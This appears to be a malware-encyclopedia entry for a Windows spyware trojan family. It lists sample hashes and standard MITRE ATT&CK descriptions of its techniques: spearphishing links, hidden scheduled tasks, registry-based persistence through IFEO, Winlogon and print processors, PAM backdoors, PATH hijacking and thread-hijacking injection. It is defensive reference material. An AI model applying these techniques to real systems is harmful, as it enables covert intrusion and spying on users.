Update Date
02/05/2024

Class: Trojan

A malicious program designed to electronically spy on the user’s activities (intercept keyboard input, take screenshots, capture a list of active applications, etc.). The collected information is sent to the cybercriminal by various means, including email, FTP, and HTTP (by sending data in a request).

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Platform: Win32

Win32 is an API on Windows NT-based operating systems (Windows XP, Windows 7, etc.) that supports execution of 32-bit applications. One of the most widespread programming platforms in the world.

Family: Trojan.MSIL.Inject

No family description

Examples

A468D943C5A29BD5B9ED57EDB2B70702
4E8A109FBF6C1A8538C7BB55D59E52C6
09906988300767F67EAB87013E5138F7
B846C90C46A8859BF3BBC4BA5D376C94
5CC61909B9B504FB71CC2CBD7E96D4A1

Tactics and Techniques: Mitre*

TA0001
Initial Access

Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.


All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging User Execution. The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place.


Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly. Additionally, adversaries may use seemingly benign links that abuse special characters to mimic legitimate websites (known as an “IDN homograph attack”).(Citation: CISA IDN ST05-016) URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an “@” symbol: for example, `hxxp://google.com@1157586937`.(Citation: Mandiant URL Obfuscation 2023)


Adversaries may also utilize links to perform consent phishing, typically with OAuth 2.0 request URLs that when accepted by the user provide permissions/access for malicious applications, allowing adversaries to Steal Application Access Tokens.(Citation: Trend Micro Pawn Storm OAuth 2017) These stolen access tokens allow the adversary to perform various actions on behalf of the user via API calls. (Citation: Microsoft OAuth 2.0 Consent Phishing 2021)


T1566.002
Phishing: Spearphishing Link

Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.


All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging User Execution. The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place.


Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly. Additionally, adversaries may use seemingly benign links that abuse special characters to mimic legitimate websites (known as an “IDN homograph attack”).(Citation: CISA IDN ST05-016) URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an “@” symbol: for example, `hxxp://google.com@1157586937`.(Citation: Mandiant URL Obfuscation 2023)


Adversaries may also utilize links to perform consent phishing, typically with OAuth 2.0 request URLs that when accepted by the user provide permissions/access for malicious applications, allowing adversaries to Steal Application Access Tokens.(Citation: Trend Micro Pawn Storm OAuth 2017) These stolen access tokens allow the adversary to perform various actions on behalf of the user via API calls. (Citation: Microsoft OAuth 2.0 Consent Phishing 2021)


TA0002
Execution

Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The schtasks utility can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel. In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library to create a scheduled task.


The deprecated at utility could also be abused by adversaries (ex: At), though at.exe can not access tasks created with schtasks or the Control Panel.


An adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM). Similar to System Binary Proxy Execution, adversaries have also abused the Windows Task Scheduler to potentially mask one-time execution under signed/trusted system processes.(Citation: ProofPoint Serpent)


Adversaries may also create “hidden” scheduled tasks (i.e. Hide Artifacts) that may not be visible to defender tools and manual queries used to enumerate tasks. Specifically, an adversary may hide a task from `schtasks /query` and the Task Scheduler by deleting the associated Security Descriptor (SD) registry value (where deletion of this value must be completed using SYSTEM permissions).(Citation: SigmaHQ)(Citation: Tarrask scheduled task) Adversaries may also employ alternate methods to hide tasks, such as altering the metadata (e.g., `Index` value) within associated registry keys.(Citation: Defending Against Scheduled Task Attacks in Windows Environments)


T1053.005
Scheduled Task/Job: Scheduled Task

Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The schtasks utility can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel. In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library to create a scheduled task.


The deprecated at utility could also be abused by adversaries (ex: At), though at.exe can not access tasks created with schtasks or the Control Panel.


An adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM). Similar to System Binary Proxy Execution, adversaries have also abused the Windows Task Scheduler to potentially mask one-time execution under signed/trusted system processes.(Citation: ProofPoint Serpent)


Adversaries may also create “hidden” scheduled tasks (i.e. Hide Artifacts) that may not be visible to defender tools and manual queries used to enumerate tasks. Specifically, an adversary may hide a task from `schtasks /query` and the Task Scheduler by deleting the associated Security Descriptor (SD) registry value (where deletion of this value must be completed using SYSTEM permissions).(Citation: SigmaHQ)(Citation: Tarrask scheduled task) Adversaries may also employ alternate methods to hide tasks, such as altering the metadata (e.g., `Index` value) within associated registry keys.(Citation: Defending Against Scheduled Task Attacks in Windows Environments)


T1059.001
Command and Scripting Interpreter: PowerShell

Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.(Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).


PowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.


A number of PowerShell-based offensive testing tools are available, including Empire, PowerSploit, PoshC2, and PSAttack.(Citation: Github PSAttack)


PowerShell commands/scripts can also be executed without directly invoking the powershell.exe binary through interfaces to PowerShell’s underlying System.Management.Automation assembly DLL exposed through the .NET framework and Windows Common Language Interface (CLI).(Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)(Citation: Microsoft PSfromCsharp APR 2014)


T1059.003
Command and Scripting Interpreter: Windows Command Shell

Adversaries may abuse the Windows command shell for execution. The Windows command shell (cmd) is the primary command prompt on Windows systems. The Windows command prompt can be used to control almost any aspect of a system, with various permission levels required for different subsets of commands. The command prompt can be invoked remotely via Remote Services such as SSH.(Citation: SSH in Windows)


Batch files (ex: .bat or .cmd) also provide the shell with a list of sequential commands to run, as well as normal scripting operations such as conditionals and loops. Common uses of batch files include long or repetitive tasks, or the need to run the same set of commands on multiple systems.


Adversaries may leverage cmd to execute various commands and payloads. Common uses include cmd to execute a single command, or abusing cmd interactively with input and output forwarded over a command and control channel.


T1059.005
Command and Scripting Interpreter: Visual Basic

Adversaries may abuse Visual Basic (VB) for execution. VB is a programming language created by Microsoft with interoperability with many Windows technologies such as Component Object Model and the Native API through the Windows API. Although tagged as legacy with no planned future evolutions, VB is integrated and supported in the .NET Framework and cross-platform .NET Core.(Citation: VB .NET Mar 2020)(Citation: VB Microsoft)


Derivative languages based on VB have also been created, such as Visual Basic for Applications (VBA) and VBScript. VBA is an event-driven programming language built into Microsoft Office, as well as several third-party applications.(Citation: Microsoft VBA)(Citation: Wikipedia VBA) VBA enables documents to contain macros used to automate the execution of tasks and other functionality on the host. VBScript is a default scripting language on Windows hosts and can also be used in place of JavaScript on HTML Application (HTA) webpages served to Internet Explorer (though most modern browsers do not come with VBScript support).(Citation: Microsoft VBScript)


Adversaries may use VB payloads to execute malicious commands. Common malicious usage includes automating execution of behaviors with VBScript or embedding VBA content into Spearphishing Attachment payloads (which may also involve Mark-of-the-Web Bypass to enable execution).(Citation: Default VBS macros Blocking )


T1140
Deobfuscate/Decode Files or Information

Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.


One such example is the use of certutil to decode a remote access tool portable executable file that has been hidden inside a certificate file.(Citation: Malwarebytes Targeted Attack against Saudi Arabia) Another example is using the Windows copy /b command to reassemble binary fragments into a malicious payload.(Citation: Carbon Black Obfuscation Sept 2016)


Sometimes a user’s action may be required to open it for deobfuscation or decryption as part of User Execution. The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016)


T1204.001
User Execution: Malicious Link

An adversary may rely upon a user clicking a malicious link in order to gain execution. Users may be subjected to social engineering to get them to click on a link that will lead to code execution. This user action will typically be observed as follow-on behavior from Spearphishing Link. Clicking on a link may also lead to other execution techniques such as exploitation of a browser or application vulnerability via Exploitation for Client Execution. Links may also lead users to download files that require execution via Malicious File.


TA0003
Persistence

Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The schtasks utility can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel. In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library to create a scheduled task.


The deprecated at utility could also be abused by adversaries (ex: At), though at.exe can not access tasks created with schtasks or the Control Panel.


An adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM). Similar to System Binary Proxy Execution, adversaries have also abused the Windows Task Scheduler to potentially mask one-time execution under signed/trusted system processes.(Citation: ProofPoint Serpent)


Adversaries may also create “hidden” scheduled tasks (i.e. Hide Artifacts) that may not be visible to defender tools and manual queries used to enumerate tasks. Specifically, an adversary may hide a task from `schtasks /query` and the Task Scheduler by deleting the associated Security Descriptor (SD) registry value (where deletion of this value must be completed using SYSTEM permissions).(Citation: SigmaHQ)(Citation: Tarrask scheduled task) Adversaries may also employ alternate methods to hide tasks, such as altering the metadata (e.g., `Index` value) within associated registry keys.(Citation: Defending Against Scheduled Task Attacks in Windows Environments)


T1053.005
Scheduled Task/Job: Scheduled Task

Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The schtasks utility can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel. In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library to create a scheduled task.


The deprecated at utility could also be abused by adversaries (ex: At), though at.exe can not access tasks created with schtasks or the Control Panel.


An adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM). Similar to System Binary Proxy Execution, adversaries have also abused the Windows Task Scheduler to potentially mask one-time execution under signed/trusted system processes.(Citation: ProofPoint Serpent)


Adversaries may also create “hidden” scheduled tasks (i.e. Hide Artifacts) that may not be visible to defender tools and manual queries used to enumerate tasks. Specifically, an adversary may hide a task from `schtasks /query` and the Task Scheduler by deleting the associated Security Descriptor (SD) registry value (where deletion of this value must be completed using SYSTEM permissions).(Citation: SigmaHQ)(Citation: Tarrask scheduled task) Adversaries may also employ alternate methods to hide tasks, such as altering the metadata (e.g., `Index` value) within associated registry keys.(Citation: Defending Against Scheduled Task Attacks in Windows Environments)


T1098
Account Manipulation

Adversaries may manipulate accounts to maintain and/or elevate access to victim systems. Account manipulation may consist of any action that preserves or modifies adversary access to a compromised account, such as modifying credentials or permission groups. These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to bypass password duration policies and preserve the life of compromised credentials.


In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain. However, account manipulation may also lead to privilege escalation where modifications grant access to additional roles, permissions, or higher-privileged Valid Accounts.


T1134.003
Access Token Manipulation: Make and Impersonate Token

Adversaries may make new tokens and impersonate users to escalate privileges and bypass access controls. For example, if an adversary has a username and password but the user is not logged onto the system the adversary can then create a logon session for the user using the `LogonUser` function. The function will return a copy of the new session’s access token and the adversary can use `SetThreadToken` to assign the token to a thread.


This behavior is distinct from Token Impersonation/Theft in that this refers to creating a new user token instead of stealing or duplicating an existing one.


T1136.001
Create Account: Local Account

Adversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service.


For example, with a sufficient level of access, the Windows net user /add command can be used to create a local account. On macOS systems the dscl -create command can be used to create a local account. Local accounts may also be added to network devices, often via common Network Device CLI commands such as username, or to Kubernetes clusters using the `kubectl` utility.(Citation: cisco_username_cmd)(Citation: Kubernetes Service Accounts Security)


Such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.


T1546.002
Event Triggered Execution: Screensaver

Adversaries may establish persistence by executing malicious content triggered by user inactivity. Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.scr is located in C:WindowsSystem32, and C:WindowssysWOW64 on 64-bit Windows systems, along with screensavers included with base Windows installations.


The following screensaver settings are stored in the Registry (HKCUControl PanelDesktop) and could be manipulated to achieve persistence:


* SCRNSAVE.exe – set to malicious PE path

* ScreenSaveActive – set to ‘1’ to enable the screensaver

* ScreenSaverIsSecure – set to ‘0’ to not require a password to unlock

* ScreenSaveTimeout – sets user inactivity timeout before screensaver is executed


Adversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity.(Citation: ESET Gazer Aug 2017)


T1546.007
Event Triggered Execution: Netsh Helper DLL

Adversaries may establish persistence by executing malicious content triggered by Netsh Helper DLLs. Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility.(Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at HKLMSOFTWAREMicrosoftNetsh.


Adversaries can use netsh.exe helper DLLs to trigger execution of arbitrary code in a persistent manner. This execution would take place anytime netsh.exe is executed, which could happen automatically, with another persistence technique, or if other software (ex: VPN) is present on the system that executes netsh.exe as part of its normal functionality.(Citation: Github Netsh Helper CS Beacon)(Citation: Demaske Netsh Persistence)


T1546.012
Event Triggered Execution: Image File Execution Options Injection

Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by Image File Execution Options (IFEO) debuggers. IFEOs enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application’s IFEO will be prepended to the application’s name, effectively launching the new process under the debugger (e.g., C:dbgntsd.exe -g notepad.exe). (Citation: Microsoft Dev Blog IFEO Mar 2010)


IFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as Debugger values in the Registry under HKLMSOFTWARE{Wow6432Node}MicrosoftWindows NTCurrentVersionImage File Execution Options where <executable> is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010)


IFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IFEO and silent process exit Registry values in HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionSilentProcessExit. (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018)


Similar to Accessibility Features, on Windows Vista and later as well as Windows Server 2008 and later, a Registry key may be modified that configures “cmd.exe,” or another program that provides backdoor access, as a “debugger” for an accessibility program (ex: utilman.exe). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with Remote Desktop Protocol will cause the “debugger” program to be executed with SYSTEM privileges. (Citation: Tilbury 2014)


Similar to Process Injection, these values may also be abused to obtain privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Elastic Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous triggered invocation.


Malware may also use IFEO to Impair Defenses by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)


T1546.013
Event Triggered Execution: PowerShell Profile

Adversaries may gain persistence and elevate privileges by executing malicious content triggered by PowerShell profiles. A PowerShell profile (profile.ps1) is a script that runs when PowerShell starts and can be used as a logon script to customize user environments.


PowerShell supports several profiles depending on the user or host program. For example, there can be different profiles for PowerShell host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer. (Citation: Microsoft About Profiles)


Adversaries may modify these profiles to include arbitrary commands, functions, modules, and/or PowerShell drives to gain persistence. Every time a user opens a PowerShell session the modified script will be executed unless the -NoProfile flag is used when it is launched. (Citation: ESET Turla PowerShell May 2019)


An adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator. (Citation: Wits End and Shady PowerShell Profiles)


T1547.004
Boot or Logon Autostart Execution: Winlogon Helper DLL

Adversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in. Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in HKLMSoftware[\Wow6432Node\]MicrosoftWindows NTCurrentVersionWinlogon and HKCUSoftwareMicrosoftWindows NTCurrentVersionWinlogon are used to manage additional helper programs and functionalities that support Winlogon.(Citation: Cylance Reg Persistence Sept 2013)


Malicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013)


* WinlogonNotify – points to notification package DLLs that handle Winlogon events

* WinlogonUserinit – points to userinit.exe, the user initialization program executed when a user logs on

* WinlogonShell – points to explorer.exe, the system shell executed when a user logs on


Adversaries may take advantage of these features to repeatedly execute malicious code and establish persistence.


T1547.008
Boot or Logon Autostart Execution: LSASS Driver

Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems. The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process.(Citation: Microsoft Security Subsystem)


Adversaries may target LSASS drivers to obtain persistence. By either replacing or adding illegitimate drivers (e.g., Hijack Execution Flow), an adversary can use LSA operations to continuously execute malicious payloads.


T1547.010
Boot or Logon Autostart Execution: Port Monitors

Adversaries may use port monitors to run an adversary supplied DLL during system boot for persistence or privilege escalation. A port monitor can be set through the AddMonitor API call to set a DLL to be loaded at startup.(Citation: AddMonitor) This DLL can be located in C:WindowsSystem32 and will be loaded by the print spooler service, spoolsv.exe, on boot. The spoolsv.exe process also runs under SYSTEM level permissions.(Citation: Bloxham) Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to HKLMSYSTEMCurrentControlSetControlPrintMonitors.


The Registry key contains entries for the following:


* Local Port

* Standard TCP/IP Port

* USB Monitor

* WSD Port


Adversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM.


T1547.012
Boot or Logon Autostart Execution: Print Processors

Adversaries may abuse print processors to run malicious DLLs during system boot for persistence and/or privilege escalation. Print processors are DLLs that are loaded by the print spooler service, `spoolsv.exe`, during boot.(Citation: Microsoft Intro Print Processors)


Adversaries may abuse the print spooler service by adding print processors that load malicious DLLs at startup. A print processor can be installed through the AddPrintProcessor API call with an account that has SeLoadDriverPrivilege enabled. Alternatively, a print processor can be registered to the print spooler service by adding the HKLMSYSTEM\[CurrentControlSet or ControlSet001]ControlPrintEnvironments\[Windows architecture: e.g., Windows x64]Print Processors\[user defined]Driver Registry key that points to the DLL.


For the malicious print processor to be correctly installed, the payload must be located in the dedicated system print-processor directory, that can be found with the GetPrintProcessorDirectory API call, or referenced via a relative path from this directory.(Citation: Microsoft AddPrintProcessor May 2018) After the print processors are installed, the print spooler service, which starts during boot, must be restarted in order for them to run.(Citation: ESET PipeMon May 2020)


The print spooler service runs under SYSTEM level permissions, therefore print processors installed by an adversary may run under elevated privileges.


T1556.003
Modify Authentication Process: Pluggable Authentication Modules

Adversaries may modify pluggable authentication modules (PAM) to access user credentials or enable otherwise unwarranted access to accounts. PAM is a modular system of configuration files, libraries, and executable files which guide authentication for many services. The most common authentication module is pam_unix.so, which retrieves, sets, and verifies account authentication information in /etc/passwd and /etc/shadow.(Citation: Apple PAM)(Citation: Man Pam_Unix)(Citation: Red Hat PAM)


Adversaries may modify components of the PAM system to create backdoors. PAM components, such as pam_unix.so, can be patched to accept arbitrary adversary supplied values as legitimate credentials.(Citation: PAM Backdoor)


Malicious modifications to the PAM system may also be abused to steal credentials. Adversaries may infect PAM resources with code to harvest user credentials, since the values exchanged with PAM components may be plain-text since PAM does not store passwords.(Citation: PAM Creds)(Citation: Apple PAM)


T1574.007
Hijack Execution Flow: Path Interception by PATH Environment Variable

Adversaries may execute their own malicious payloads by hijacking environment variables used to load libraries. The PATH environment variable contains a list of directories (User and System) that the OS searches sequentially through in search of the binary that was called from a script or the command line.


Adversaries can place a malicious program in an earlier entry in the list of directories stored in the PATH environment variable, resulting in the operating system executing the malicious binary rather than the legitimate binary when it searches sequentially through that PATH listing.


For example, on Windows if an adversary places a malicious program named “net.exe” in `C:example path`, which by default precedes `C:Windowssystem32net.exe` in the PATH environment variable, when “net” is executed from the command-line the `C:example path` will be called instead of the system’s legitimate executable at `C:Windowssystem32net.exe`. Some methods of executing a program rely on the PATH environment variable to determine the locations that are searched when the path for the program is not given, such as executing programs from a Command and Scripting Interpreter.(Citation: ExpressVPN PATH env Windows 2021)


Adversaries may also directly modify the $PATH variable specifying the directories to be searched. An adversary can modify the `$PATH` variable to point to a directory they have write access. When a program using the $PATH variable is called, the OS searches the specified directory and executes the malicious binary. On macOS, this can also be performed through modifying the $HOME variable. These variables can be modified using the command-line, launchctl, Unix Shell Configuration Modification, or modifying the `/etc/paths.d` folder contents.(Citation: uptycs Fake POC linux malware 2023)(Citation: nixCraft macOS PATH variables)(Citation: Elastic Rules macOS launchctl 2022)


T1574.011
Hijack Execution Flow: Services Registry Permissions Weakness

Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for Registry keys related to services to redirect from the originally specified executable to one that they control, in order to launch their own code when a service starts. Windows stores local service configuration information in the Registry under HKLMSYSTEMCurrentControlSetServices. The information stored under a service’s Registry keys can be manipulated to modify a service’s execution parameters through tools such as the service controller, sc.exe, PowerShell, or Reg. Access to Registry keys is controlled through access control lists and user permissions. (Citation: Registry Key Security)(Citation: malware_hides_service)


If the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service’s binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).


Adversaries may also alter other Registry keys in the service’s Registry tree. For example, the FailureCommand key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness)


The Performance key contains the name of a driver service’s performance DLL and the names of several exported functions in the DLL.(Citation: microsoft_services_registry_tree) If the Performance key is not already present and if an adversary-controlled user has the Create Subkey permission, adversaries may create the Performance key in the service’s Registry tree to point to a malicious DLL.(Citation: insecure_reg_perms)


Adversaries may also add the Parameters key, which stores driver-specific data, or other custom subkeys for their malicious services to establish persistence or enable other malicious activities.(Citation: microsoft_services_registry_tree)(Citation: troj_zegost) Additionally, If adversaries launch their malicious services using svchost.exe, the service’s file may be identified using HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesservicenameParametersServiceDll.(Citation: malware_hides_service)


TA0004
Privilege Escalation

Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The schtasks utility can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel. In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library to create a scheduled task.


The deprecated at utility could also be abused by adversaries (ex: At), though at.exe can not access tasks created with schtasks or the Control Panel.


An adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM). Similar to System Binary Proxy Execution, adversaries have also abused the Windows Task Scheduler to potentially mask one-time execution under signed/trusted system processes.(Citation: ProofPoint Serpent)


Adversaries may also create “hidden” scheduled tasks (i.e. Hide Artifacts) that may not be visible to defender tools and manual queries used to enumerate tasks. Specifically, an adversary may hide a task from `schtasks /query` and the Task Scheduler by deleting the associated Security Descriptor (SD) registry value (where deletion of this value must be completed using SYSTEM permissions).(Citation: SigmaHQ)(Citation: Tarrask scheduled task) Adversaries may also employ alternate methods to hide tasks, such as altering the metadata (e.g., `Index` value) within associated registry keys.(Citation: Defending Against Scheduled Task Attacks in Windows Environments)


T1053.005
Scheduled Task/Job: Scheduled Task

Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The schtasks utility can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel. In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library to create a scheduled task.


The deprecated at utility could also be abused by adversaries (ex: At), though at.exe can not access tasks created with schtasks or the Control Panel.


An adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM). Similar to System Binary Proxy Execution, adversaries have also abused the Windows Task Scheduler to potentially mask one-time execution under signed/trusted system processes.(Citation: ProofPoint Serpent)


Adversaries may also create “hidden” scheduled tasks (i.e. Hide Artifacts) that may not be visible to defender tools and manual queries used to enumerate tasks. Specifically, an adversary may hide a task from `schtasks /query` and the Task Scheduler by deleting the associated Security Descriptor (SD) registry value (where deletion of this value must be completed using SYSTEM permissions).(Citation: SigmaHQ)(Citation: Tarrask scheduled task) Adversaries may also employ alternate methods to hide tasks, such as altering the metadata (e.g., `Index` value) within associated registry keys.(Citation: Defending Against Scheduled Task Attacks in Windows Environments)


T1055.003
Process Injection: Thread Execution Hijacking

Adversaries may inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. Thread Execution Hijacking is a method of executing arbitrary code in the address space of a separate live process.


Thread Execution Hijacking is commonly performed by suspending an existing process then unmapping/hollowing its memory, which can then be replaced with malicious code or the path to a DLL. A handle to an existing victim process is first created with native Windows API calls such as OpenThread. At this point the process can be suspended then written to, realigned to the injected code, and resumed via SuspendThread , VirtualAllocEx, WriteProcessMemory, SetThreadContext, then ResumeThread respectively.(Citation: Elastic Process Injection July 2017)


This is very similar to Process Hollowing but targets an existing process rather than creating a process in a suspended state.


Running code in the context of another process may allow access to the process’s memory, system/network resources, and possibly elevated privileges. Execution via Thread Execution Hijacking may also evade detection from security products since the execution is masked under a legitimate process.


T1068
Exploitation for Privilege Escalation

Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.


When initially gaining access to a system, an adversary may be operating within a lower privileged process which will prevent them from accessing certain resources on the system. Vulnerabilities may exist, usually in operating system components and software commonly running at higher permissions, that can be exploited to gain higher levels of access on the system. This could enable someone to move from unprivileged or user level permissions to SYSTEM or root permissions depending on the component that is vulnerable. This could also enable an adversary to move from a virtualized environment, such as within a virtual machine or container, onto the underlying host. This may be a necessary step for an adversary compromising an endpoint system that has been properly configured and limits other privilege escalation methods.


Adversaries may bring a signed vulnerable driver onto a compromised machine so that they can exploit the vulnerability to execute code in kernel mode. This process is sometimes referred to as Bring Your Own Vulnerable Driver (BYOVD).(Citation: ESET InvisiMole June 2020)(Citation: Unit42 AcidBox June 2020) Adversaries may include the vulnerable driver with files delivered during Initial Access or download it to a compromised system via Ingress Tool Transfer or Lateral Tool Transfer.


T1134.001
Access Token Manipulation: Token Impersonation/Theft

